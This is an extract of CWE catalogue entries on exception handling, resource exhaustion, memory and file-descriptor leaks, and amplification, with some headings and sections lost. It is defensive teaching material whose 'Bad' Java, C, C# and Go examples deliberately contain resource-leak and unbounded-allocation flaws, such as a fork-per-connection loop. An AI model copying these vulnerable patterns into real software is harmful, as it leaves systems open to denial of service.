The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Effectiveness = High

Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Formal Methods / Correct-By-Construction Cost effective for partial coverage: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

Phase: Implementation

Do not extensively rely on catching exceptions (especially for validating user input) to handle errors. Handling exceptions can decrease the performance of an application.

Demonstrative Examples

Example 1:

The following code mistakenly catches a NullPointerException.

Example Language: Java *(Bad)*

```
try {
   mysteryMethod();
} catch (NullPointerException npe) {
}
```

CWE-396: Declaration of Catch for Generic Exception

Weakness ID : 396
Structure : Simple
Abstraction : Base

Description

Catching overly broad exceptions promotes complex error handling code that is more likely to contain security vulnerabilities.

Extended Description

Multiple catch blocks can get ugly and repetitive, but "condensing" catch blocks by catching a high-level class like Exception can obscure exceptions that deserve special treatment or that should not be caught at this point in the program. Catching an overly broad exception essentially defeats the purpose of a language's typed exceptions, and can become particularly dangerous if the program grows and begins to throw new types of exceptions. The new exception types will not receive any attention.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	221	Information Loss or Omission	563
ChildOf	C	755	Improper Handling of Exceptional Conditions	1589
ChildOf	C	705	Incorrect Control Flow Scoping	1554

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	389	Error Conditions, Return Values, Status Codes	2360

Applicable Platforms

Language : C++ *(Prevalence = Undetermined)*

Language : Java *(Prevalence = Undetermined)*

Language : C# *(Prevalence = Undetermined)*

Language : Python *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Non-Repudiation Other	Hide Activities *A generic exception can hide details about unexpected adversary activities by making it difficult to properly troubleshoot error conditions during execution.*	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Demonstrative Examples

Example 1:

The following code excerpt handles three types of exceptions in an identical fashion.

Example Language: Java *(Good)*

```
try {
  doExchange();
```

```
}
catch (IOException e) {
   logger.error("doExchange failed", e);
}
catch (InvocationTargetException e) {
   logger.error("doExchange failed", e);
}
catch (SQLException e) {
   logger.error("doExchange failed", e);
}
```

At first blush, it may seem preferable to deal with these exceptions in a single catch block, as follows:

Example Language: Java *(Bad)*

```
try {
   doExchange();
}
catch (Exception e) {
   logger.error("doExchange failed", e);
}
```

However, if doExchange() is modified to throw a new type of exception that should be handled in some different kind of way, the broad catch block will prevent the compiler from pointing out the situation. Further, the new catch block will now also handle exceptions derived from RuntimeException such as ClassCastException, and NullPointerException, which is not the programmer's intent.

CWE-397: Declaration of Throws for Generic Exception

Weakness ID : 397
Structure : Simple
Abstraction : Base

Description

The product throws or raises an overly broad exceptions that can hide important details and produce inappropriate responses to certain conditions.

Extended Description

Declaring a method to throw Exception or Throwable promotes generic error handling procedures that make it difficult for callers to perform proper error handling and error recovery. For example, Java's exception mechanism makes it easy for callers to anticipate what can go wrong and write code to handle each specific exceptional circumstance. Declaring that a method throws a generic form of exception defeats this system.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Language : Java *(Prevalence = Undetermined)*

Language : Python *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Non-Repudiation	Hide Activities	
Other	Alter Execution Logic	

Scope	Impact	Likelihood
	Throwing a generic exception can hide details about unexpected adversary activities by making it difficult to properly troubleshoot error conditions during execution.	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Demonstrative Examples

Example 1:

The following method throws three types of exceptions.

Example Language: Java *(Good)*

```
public void doExchange() throws IOException, InvocationTargetException, SQLException {
  ...
}
```

While it might seem tidier to write

Example Language: Java *(Bad)*

```
public void doExchange() throws Exception {
  ...
}
```

doing so hampers the caller's ability to understand and handle the exceptions that occur. Further, if a later revision of doExchange() introduces a new type of exception that should be treated differently than previous exceptions, there is no easy way to enforce this requirement.

Example 2:

Early versions of C++ (C++98, C++03, C++11) included a feature known as Dynamic Exception Specification. This allowed functions to declare what type of exceptions it may throw. It is possible to declare a general class of exception to cover any derived exceptions that may be thrown.

Example Language: C++ *(Bad)*

```
int myfunction() throw(std::exception) {
  if (0) throw out_of_range();
  throw length_error();
}
```

In the example above, the code declares that myfunction() can throw an exception of type "std::exception" thus hiding details about the possible derived exceptions that could potentially be thrown.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page

MemberOf	C	1141	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 07. Exceptional Behavior (ERR)	1133	2485
MemberOf	C	1410	Comprehensive Categorization: Insufficient Control Flow Management	1400	2573

Notes

Applicable Platform

For C++, this weakness only applies to C++98, C++03, and C++11. It relies on a feature known as Dynamic Exception Specification, which was part of early versions of C++ but was deprecated in C++11. It has been removed for C++17 and later.

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Alternate Terms

Resource Exhaustion :

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Crash, Exit, or Restart DoS: Resource Consumption (CPU) DoS: Resource Consumption (Memory) DoS: Resource Consumption (Other) *If an attacker can trigger the allocation of the limited resources, but the number or size of the resources is not controlled, then the most common result is denial of service. This would prevent valid users from accessing the product, and it could potentially have an impact on the surrounding environment, i.e., the product may slow down, crash due to unhandled errors, or lock out legitimate users. For example, a memory exhaustion attack against an application could slow down the application as well as its host operating system.*	
Access Control Other	Bypass Protection Mechanism Other *In some cases it may be possible to force the product to "fail open" in the event of resource exhaustion. The state of the product -- and possibly the security functionality - may then be compromised.*	

Detection Methods

Automated Static Analysis

Automated static analysis typically has limited utility in recognizing resource exhaustion problems, except for program-independent system resources such as files, sockets, and processes. For system resources, automated static analysis may be able to detect circumstances in which resources are not released after they have expired. Automated analysis of configuration files may be able to detect settings that do not specify a maximum value. Automated static analysis tools will not be appropriate for detecting exhaustion of custom resources, such as an intended security policy in which a bulletin board user is only allowed to make a limited number of posts per day.

Effectiveness = Limited

Automated Dynamic Analysis

Certain automated dynamic analysis techniques may be effective in spotting resource exhaustion problems, especially with resources such as processes, memory, and connections. The technique may involve generating a large number of requests to the product within a short time frame.

Effectiveness = Moderate

Fuzzing

While fuzzing is typically geared toward finding low-level implementation bugs, it can inadvertently find resource exhaustion problems. This can occur when the fuzzer generates a large number of test cases but does not restart the targeted product in between test cases. If an individual test case produces a crash, but it does not do so reliably, then an inability to handle resource exhaustion may be the cause.

Effectiveness = Opportunistic

Potential Mitigations

Phase: Architecture and Design

Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.

Phase: Architecture and Design

Mitigation of resource exhaustion attacks requires that the target system either: recognizes the attack and denies that user further access for a given amount of time, or uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed. The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question. The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.

Phase: Architecture and Design

Ensure that protocols have specific limits of scale placed on them.

Phase: Implementation

Ensure that all failures in resource allocation place the system into a safe posture.

Demonstrative Examples

Example 1:

The following example demonstrates the weakness.

Example Language: Java *(Bad)*

```
class Worker implements Executor {
  ...
  public void execute(Runnable r) {
    try {
      ...
    }
    catch (InterruptedException ie) {
      // postpone response
      Thread.currentThread().interrupt();
    }
  }
  public Worker(Channel ch, int nworkers) {
    ...
  }
  protected void activate() {
    Runnable loop = new Runnable() {
      public void run() {
        try {
          for (;;) {
            Runnable r = ...;
            r.run();
          }
        }
        catch (InterruptedException ie) {
          ...
        }
      }
    };
    new Thread(loop).start();
  }
}
```

There are no limits to runnables. Potentially an attacker could cause resource problems very quickly.

Example 2:

This code allocates a socket and forks each time it receives a new connection.

Example Language: C *(Bad)*

```
sock=socket(AF_INET, SOCK_STREAM, 0);
while (1) {
  newsock=accept(sock, ...);
  printf("A connection has been accepted\n");
  pid = fork();
}
```

The program does not track how many connections have been made, and it does not limit the number of connections. Because forking is a relatively expensive operation, an attacker would be able to cause the system to run out of CPU, processes, or memory by making a large number of connections. Alternatively, an attacker could consume all available connections, preventing others from accessing the system remotely.

Example 3:

In the following example a server socket connection is used to accept a request to store data on the local file system using a specified filename. The method openSocketConnection establishes a server socket to accept requests from a client. When a client establishes a connection to this

service the getNextMessage method is first used to retrieve from the socket the name of the file to store the data, the openFileToWrite method will validate the filename and open a file to write to on the local file system. The getNextMessage is then used within a while loop to continuously read data from the socket and output the data to the file until there is no longer any data from the socket.

Example Language: C *(Bad)*

```
int writeDataFromSocketToFile(char *host, int port)
{
   char filename[FILENAME_SIZE];
   char buffer[BUFFER_SIZE];
   int socket = openSocketConnection(host, port);
   if (socket < 0) {
      printf("Unable to open socket connection");
      return(FAIL);
   }
   if (getNextMessage(socket, filename, FILENAME_SIZE) > 0) {
      if (openFileToWrite(filename) > 0) {
         while (getNextMessage(socket, buffer, BUFFER_SIZE) > 0){
            if (!(writeToFile(buffer) > 0))
               break;
         }
      }
      closeFile();
   }
   closeSocket(socket);
}
```

This example creates a situation where data can be dumped to a file on the local file system without any limits on the size of the file. This could potentially exhaust file or disk resources and/or limit other clients' ability to access the service.

Example 4:

In the following example, the processMessage method receives a two dimensional character array containing the message to be processed. The two-dimensional character array contains the length of the message in the first character array and the message body in the second character array. The getMessageLength method retrieves the integer value of the length from the first character array. After validating that the message length is greater than zero, the body character array pointer points to the start of the second character array of the two-dimensional character array and memory is allocated for the new body character array.

Example Language: C *(Bad)*

```
/* process message accepts a two-dimensional character array of the form [length][body] containing the message to be processed */
int processMessage(char **message)
{
   char *body;
   int length = getMessageLength(message[0]);
   if (length > 0) {
      body = &message[1][0];
      processMessageBody(body);
      return(SUCCESS);
   }
   else {
      printf("Unable to process message; invalid message length");
      return(FAIL);
   }
}
```

This example creates a situation where the length of the body character array can be very large and will consume excessive memory, exhausting system resources. This can be avoided by restricting the length of the second character array with a maximum length check

Also, consider changing the type from 'int' to 'unsigned int', so that you are always guaranteed that the number is positive. This might not be possible if the protocol specifically requires allowing negative values, or if you cannot control the return value from getMessageLength(), but it could simplify the check to ensure the input is positive, and eliminate other errors such as signed-to-unsigned conversion errors (CWE-195) that may occur elsewhere in the code.

Example Language: C *(Good)*

```
unsigned int length = getMessageLength(message[0]);
if ((length > 0) && (length < MAX_LENGTH)) {...}
```

Example 5:

In the following example, a server object creates a server socket and accepts client connections to the socket. For every client connection to the socket a separate thread object is generated using the ClientSocketThread class that handles request made by the client through the socket.

Example Language: Java *(Bad)*

```
public void acceptConnections() {
   try {
      ServerSocket serverSocket = new ServerSocket(SERVER_PORT);
      int counter = 0;
      boolean hasConnections = true;
      while (hasConnections) {
         Socket client = serverSocket.accept();
         Thread t = new Thread(new ClientSocketThread(client));
         t.setName(client.getInetAddress().getHostName() + ":" + counter++);
         t.start();
      }
      serverSocket.close();
   } catch (IOException ex) {...}
}
```

In this example there is no limit to the number of client connections and client threads that are created. Allowing an unlimited number of client connections and threads could potentially overwhelm the system and system resources.

The server should limit the number of client connections and the client threads that are created. This can be easily done by creating a thread pool object that limits the number of threads that are generated.

Example Language: Java *(Good)*

```
public static final int SERVER_PORT = 4444;
public static final int MAX_CONNECTIONS = 10;
...
public void acceptConnections() {
   try {
      ServerSocket serverSocket = new ServerSocket(SERVER_PORT);
      int counter = 0;
      boolean hasConnections = true;
      while (hasConnections) {
         hasConnections = checkForMoreConnections();
         Socket client = serverSocket.accept();
         Thread t = new Thread(new ClientSocketThread(client));
         t.setName(client.getInetAddress().getHostName() + ":" + counter++);
         ExecutorService pool = Executors.newFixedThreadPool(MAX_CONNECTIONS);
         pool.execute(t);
      }
      serverSocket.close();
   } catch (IOException ex) {...}
}
```

Example 6:

In the following example, the serve function receives an http request and an http response writer. It reads the entire request body.

Example Language: Go *(Bad)*

```
func serve(w http.ResponseWriter, r *http.Request) {
   var body []byte
   if r.Body != nil {
      if data, err := io.ReadAll(r.Body); err == nil {
         body = data
      }
   }
}
```

Because ReadAll is defined to read from src until EOF, it does not treat an EOF from Read as an error to be reported. This example creates a situation where the length of the body supplied can be very large and will consume excessive memory, exhausting system resources. This can be avoided by ensuring the body does not exceed a predetermined length of bytes.

MaxBytesReader prevents clients from accidentally or maliciously sending a large request and wasting server resources. If possible, the code could be changed to tell ResponseWriter to close the connection after the limit has been reached.

Example Language: Go *(Good)*

```
func serve(w http.ResponseWriter, r *http.Request) {
   var body []byte
   const MaxRespBodyLength = 1e6
   if r.Body != nil {
      r.Body = http.MaxBytesReader(w, r.Body, MaxRespBodyLength)
      if data, err := io.ReadAll(r.Body); err == nil {
         body = data
      }
   }
}
```

Observed Examples

Reference	Description
CVE-2022-21668	Chain: Python library does not limit the resources used to process images that specify a very large number of bands (CWE-1284), leading to excessive memory consumption (CWE-789) or an integer overflow (CWE-190). *https://www.cve.org/CVERecord?id=CVE-2022-21668*
CVE-2020-7218	Go-based workload orchestrator does not limit resource usage with unauthenticated connections, allowing a DoS by flooding the service *https://www.cve.org/CVERecord?id=CVE-2020-7218*
CVE-2020-3566	Resource exhaustion in distributed OS because of "insufficient" IGMP queue management, as exploited in the wild per CISA KEV. *https://www.cve.org/CVERecord?id=CVE-2020-3566*
CVE-2009-2874	Product allows attackers to cause a crash via a large number of connections. *https://www.cve.org/CVERecord?id=CVE-2009-2874*
CVE-2009-1928	Malformed request triggers uncontrolled recursion, leading to stack exhaustion. *https://www.cve.org/CVERecord?id=CVE-2009-1928*
CVE-2009-2858	Chain: memory leak (CWE-404) leads to resource exhaustion. *https://www.cve.org/CVERecord?id=CVE-2009-2858*
CVE-2009-2726	Driver does not use a maximum width when invoking sscanf style functions, causing stack consumption. *https://www.cve.org/CVERecord?id=CVE-2009-2726*

Reference	Description
CVE-2009-2540	Large integer value for a length property in an object causes a large amount of memory allocation. *https://www.cve.org/CVERecord?id=CVE-2009-2540*
CVE-2009-2299	Web application firewall consumes excessive memory when an HTTP request contains a large Content-Length value but no POST data. *https://www.cve.org/CVERecord?id=CVE-2009-2299*
CVE-2009-2054	Product allows exhaustion of file descriptors when processing a large number of TCP packets. *https://www.cve.org/CVERecord?id=CVE-2009-2054*
CVE-2008-5180	Communication product allows memory consumption with a large number of SIP requests, which cause many sessions to be created. *https://www.cve.org/CVERecord?id=CVE-2008-5180*
CVE-2008-2121	TCP implementation allows attackers to consume CPU and prevent new connections using a TCP SYN flood attack. *https://www.cve.org/CVERecord?id=CVE-2008-2121*
CVE-2008-2122	Port scan triggers CPU consumption with processes that attempt to read data from closed sockets. *https://www.cve.org/CVERecord?id=CVE-2008-2122*
CVE-2008-1700	Product allows attackers to cause a denial of service via a large number of directives, each of which opens a separate window. *https://www.cve.org/CVERecord?id=CVE-2008-1700*
CVE-2007-4103	Product allows resource exhaustion via a large number of calls that do not complete a 3-way handshake. *https://www.cve.org/CVERecord?id=CVE-2007-4103*
CVE-2006-1173	Mail server does not properly handle deeply nested multipart MIME messages, leading to stack exhaustion. *https://www.cve.org/CVERecord?id=CVE-2006-1173*
CVE-2007-0897	Chain: anti-virus product encounters a malformed file but returns from a function without closing a file descriptor (CWE-775) leading to file descriptor consumption (CWE-400) and failed scans. *https://www.cve.org/CVERecord?id=CVE-2007-0897*

Notes

Maintenance

"Resource consumption" could be interpreted as a consequence instead of an insecure behavior, so this entry is being considered for modification. It appears to be referenced too frequently when more precise mappings are available. Some of its children, such as CWE-771, might be better considered as a chain.

Theoretical

Vulnerability theory is largely about how behaviors and resources interact. "Resource exhaustion" can be regarded as either a consequence or an attack, depending on the perspective. This entry is an attempt to reflect the underlying weaknesses that enable these attacks (or consequences) to take place.

Other

Database queries that take a long time to process are good DoS targets. An attacker would have to write a few lines of Perl code to generate enough traffic to exceed the site's ability to keep up. This would effectively prevent authorized users from using the site at all. Resources can be exploited simply by ensuring that the target machine must do much more work and consume more resources in order to service a request than the attacker must do to initiate a request. A prime example of this can be found in old switches that were vulnerable to "macof" attacks (so named for a tool developed by Dugsong). These attacks flooded a switch with random IP and MAC address combinations, therefore exhausting the switch's cache, which held the information of which port corresponded to which MAC addresses. Once this cache was exhausted, the switch would fail in an insecure way and would begin to act simply as a hub, broadcasting all traffic on all ports and allowing for basic sniffing attacks. Limited resources include memory, file system storage, database connection pool entries, CPU, and others.

Maintenance

The Taxonomy_Mappings to ISA/IEC 62443 were added in CWE 4.10, but they are still under review and might change in future CWE versions. These draft mappings were performed by members of the "Mapping CWE to 62443" subgroup of the CWE-CAPEC ICS/OT Special Interest Group (SIG), and their work is incomplete as of CWE 4.10. The mappings are included to facilitate discussion and review by the broader ICS/OT community, and they are likely to change in future CWE versions.

CWE-401: Missing Release of Memory after Effective Lifetime

Weakness ID : 401
Structure : Simple
Abstraction : Variant

Description

The product does not sufficiently track and release allocated memory after it has been used, making the memory unavailable for reallocation and reuse.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Weakness Ordinalities

Resultant :

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Language : C++ *(Prevalence = Undetermined)*

Alternate Terms

Memory Leak :

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Crash, Exit, or Restart DoS: Instability DoS: Resource Consumption (CPU) DoS: Resource Consumption (Memory) *Most memory leaks result in general product reliability problems, but if an attacker can intentionally trigger a memory leak, the attacker might be able to launch a denial of service attack (by crashing or hanging the program) or take advantage of other unexpected program behavior resulting from a low memory condition.*	
Other	Reduce Performance	

Detection Methods

Fuzzing

Fuzz testing (fuzzing) is a powerful technique for generating large numbers of diverse inputs - either randomly or algorithmically - and dynamically invoking the code with those inputs. Even with random inputs, it is often capable of generating unexpected results such as crashes, memory corruption, or resource consumption. Fuzzing effectively produces repeatable test cases that clearly indicate bugs, which helps developers to diagnose the issues.

Effectiveness = High

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

Strategy = Libraries or Frameworks

Choose a language or tool that provides automatic memory management, or makes manual memory management less error-prone. For example, glibc in Linux provides protection against free of invalid pointers. When using Xcode to target OS X or iOS, enable automatic reference counting (ARC) [REF-391]. To help correctly and consistently manage memory when programming in C++, consider using a smart pointer class such as std::auto_ptr (defined by ISO/IEC ISO/IEC 14882:2003), std::shared_ptr and std::unique_ptr (specified by an upcoming revision of the C++ standard, informally referred to as C++ 1x), or equivalent solutions such as Boost.

Phase: Architecture and Design

Use an abstraction library to abstract away risky APIs. Not a complete solution.

Phase: Architecture and Design

Phase: Build and Compilation

The Boehm-Demers-Weiser Garbage Collector or valgrind can be used to detect leaks in code.

Demonstrative Examples

Example 1:

The following C function leaks a block of allocated memory if the call to read() does not return the expected number of bytes:

Example Language: C *(Bad)*

```
char* getBlock(int fd) {
   char* buf = (char*) malloc(BLOCK_SIZE);
   if (!buf) {
      return NULL;
   }
   if (read(fd, buf, BLOCK_SIZE) != BLOCK_SIZE) {
      return NULL;
   }
   return buf;
}
```

Observed Examples

Reference	Description
CVE-2005-3119	Memory leak because function does not free() an element of a data structure. *https://www.cve.org/CVERecord?id=CVE-2005-3119*
CVE-2004-0427	Memory leak when counter variable is not decremented. *https://www.cve.org/CVERecord?id=CVE-2004-0427*
CVE-2002-0574	chain: reference count is not decremented, leading to memory leak in OS by sending ICMP packets. *https://www.cve.org/CVERecord?id=CVE-2002-0574*
CVE-2005-3181	Kernel uses wrong function to release a data structure, preventing data from being properly tracked by other code. *https://www.cve.org/CVERecord?id=CVE-2005-3181*
CVE-2004-0222	Memory leak via unknown manipulations as part of protocol test suite. *https://www.cve.org/CVERecord?id=CVE-2004-0222*
CVE-2001-0136	Memory leak via a series of the same command. *https://www.cve.org/CVERecord?id=CVE-2001-0136*

Functional Areas

- Memory Management

Affected Resources

- Memory

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page

MemberOf	C	1238	SFP Primary Cluster: Failure to Release Memory	888	2519
MemberOf	C	1399	Comprehensive Categorization: Memory Safety	1400	2562

Notes

Relationship

This is often a resultant weakness due to improper handling of malformed data or early termination of sessions.

Terminology

"memory leak" has sometimes been used to describe other kinds of issues, e.g. for information leaks in which the contents of memory are inadvertently leaked (CVE-2003-0400 is one such example of this terminology conflict).

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Resource leaks

CWE-403: Exposure of File Descriptor to Unintended Control Sphere ('File Descriptor Leak')

Weakness ID : 403
Structure : Simple
Abstraction : Base

Description

A process does not close sensitive file descriptors before invoking a child process, which allows the child to perform unauthorized I/O operations using those descriptors.

Extended Description

When a new process is forked or executed, the child process inherits any open file descriptors. When the child process has fewer privileges than the parent process, this might introduce a vulnerability if the child process can access the file descriptor but does not have the privileges to access the associated file.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-404: Improper Resource Shutdown or Release

Weakness ID : 404
Structure : Simple
Abstraction : Class

Description

The product does not release or incorrectly releases a resource before it is made available for re-use.

Extended Description

When a resource is created or allocated, the developer is responsible for properly releasing the resource as well as accounting for all potential paths of expiration or invalidation, such as a set period of time or revocation.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Weakness Ordinalities

Primary : Improper release or shutdown of resources can be primary to resource exhaustion, performance, and information confidentiality problems to name a few.

Resultant : Improper release or shutdown of resources can be resultant from improper error handling or insufficient resource tracking.

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Availability Other	DoS: Resource Consumption (Other) Varies by Context *Most unreleased resource issues result in general software reliability problems, but if an attacker can intentionally trigger a resource leak, the attacker might be able to launch a denial of service attack by depleting the resource pool.*	
Confidentiality	Read Application Data *When a resource containing sensitive information is not correctly shutdown, it may expose the sensitive data in a subsequent allocation.*	

Detection Methods

Automated Dynamic Analysis

This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results. Resource clean up errors might be detected with a stress-test by calling the software simultaneously from a large number of threads or processes, and look for evidence of any unexpected behavior. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Effectiveness = Moderate

Manual Dynamic Analysis

Identify error conditions that are not likely to occur during normal usage and trigger them. For example, run the product under low memory conditions, run with insufficient privileges or permissions, interrupt a transaction before it is completed, or disable connectivity to basic network services such as DNS. Monitor the software for any unexpected behavior. If you trigger an unhandled exception or similar error that was discovered and handled by the application's environment, it may still indicate unexpected conditions that were not handled by the application itself.

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Requirements

Strategy = Language Selection

Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, languages such as Java, Ruby, and Lisp perform automatic garbage collection that releases memory for objects that have been deallocated.

Phase: Implementation

It is good practice to be responsible for freeing all resources you allocate and to be consistent with how and where you free memory in a function. If you allocate memory that you intend to free upon completion of the function, you must be sure to free the memory at all exit points for that function including error conditions.

Phase: Implementation

Memory should be allocated/freed using matching functions such as malloc/free, new/delete, and new[]/delete[].

Phase: Implementation

When releasing a complex object or structure, ensure that you properly dispose of all of its member components, not just the object itself.

Demonstrative Examples

Example 1:

The following method never closes the new file handle. Given enough time, the Finalize() method for BufferReader should eventually call Close(), but there is no guarantee as to how long this action will take. In fact, there is no guarantee that Finalize() will ever be invoked. In a busy environment, the Operating System could use up all of the available file handles before the Close() function is called.

Example Language: Java *(Bad)*

```
private void processFile(string fName)
{
   BufferReader fil = new BufferReader(new FileReader(fName));
   String line;
   while ((line = fil.ReadLine()) != null)
   {
      processLine(line);
```

```
    }
}
```

The good code example simply adds an explicit call to the Close() function when the system is done using the file. Within a simple example such as this the problem is easy to see and fix. In a real system, the problem may be considerably more obscure.

Example Language: Java *(Good)*

```
private void processFile(string fName)
{
    BufferReader fil = new BufferReader(new FileReader(fName));
    String line;
    while ((line = fil.ReadLine()) != null)
    {
        processLine(line);
    }
    fil.Close();
}
```

Example 2:

This code attempts to open a connection to a database and catches any exceptions that may occur.

Example Language: Java *(Bad)*

```
try {
    Connection con = DriverManager.getConnection(some_connection_string);
}
catch ( Exception e ) {
    log( e );
}
```

If an exception occurs after establishing the database connection and before the same connection closes, the pool of database connections may become exhausted. If the number of available connections is exceeded, other users cannot access this resource, effectively denying access to the application.

Example 3:

Under normal conditions the following C# code executes a database query, processes the results returned by the database, and closes the allocated SqlConnection object. But if an exception occurs while executing the SQL or processing the results, the SqlConnection object is not closed. If this happens often enough, the database will run out of available cursors and not be able to execute any more SQL queries.

Example Language: C# *(Bad)*

```
...
SqlConnection conn = new SqlConnection(connString);
SqlCommand cmd = new SqlCommand(queryString);
cmd.Connection = conn;
conn.Open();
SqlDataReader rdr = cmd.ExecuteReader();
HarvestResults(rdr);
conn.Connection.Close();
...
```

Example 4:

The following C function does not close the file handle it opens if an error occurs. If the process is long-lived, the process can run out of file handles.

Example Language: C *(Bad)*

```
int decodeFile(char* fName) {
   char buf[BUF_SZ];
   FILE* f = fopen(fName, "r");
   if (!f) {
      printf("cannot open %s\n", fName);
      return DECODE_FAIL;
   }
   else {
      while (fgets(buf, BUF_SZ, f)) {
         if (!checkChecksum(buf)) {
            return DECODE_FAIL;
         }
         else {
            decodeBlock(buf);
         }
      }
   }
   fclose(f);
   return DECODE_SUCCESS;
}
```

Example 5:

In this example, the program does not use matching functions such as malloc/free, new/delete, and new[]/delete[] to allocate/deallocate the resource.

Example Language: C++ *(Bad)*

```
class A {
   void foo();
};
void A::foo(){
   int *ptr;
   ptr = (int*)malloc(sizeof(int));
   delete ptr;
}
```

Example 6:

In this example, the program calls the delete[] function on non-heap memory.

Example Language: C++ *(Bad)*

```
class A{
   void foo(bool);
};
void A::foo(bool heap) {
   int localArray[2] = {
      11,22
   };
   int *p = localArray;
   if (heap){
      p = new int[2];
   }
   delete[] p;
}
```

CWE-405: Asymmetric Resource Consumption (Amplification)

Weakness ID : 405
Structure : Simple
Abstraction : Class

Description

The product does not properly control situations in which an adversary can cause the product to consume or produce excessive resources without requiring the adversary to invest equivalent work or otherwise prove authorization, i.e., the adversary's influence is "asymmetric."

Extended Description

This can lead to poor performance due to "amplification" of resource consumption, typically in a non-linear fashion. This situation is worsened if the product allows malicious users or attackers to consume more resources than their access level permits.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

ParentOf	C	1176	Inefficient CPU Computation	1986
PeerOf	C	404	Improper Resource Shutdown or Release	988

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

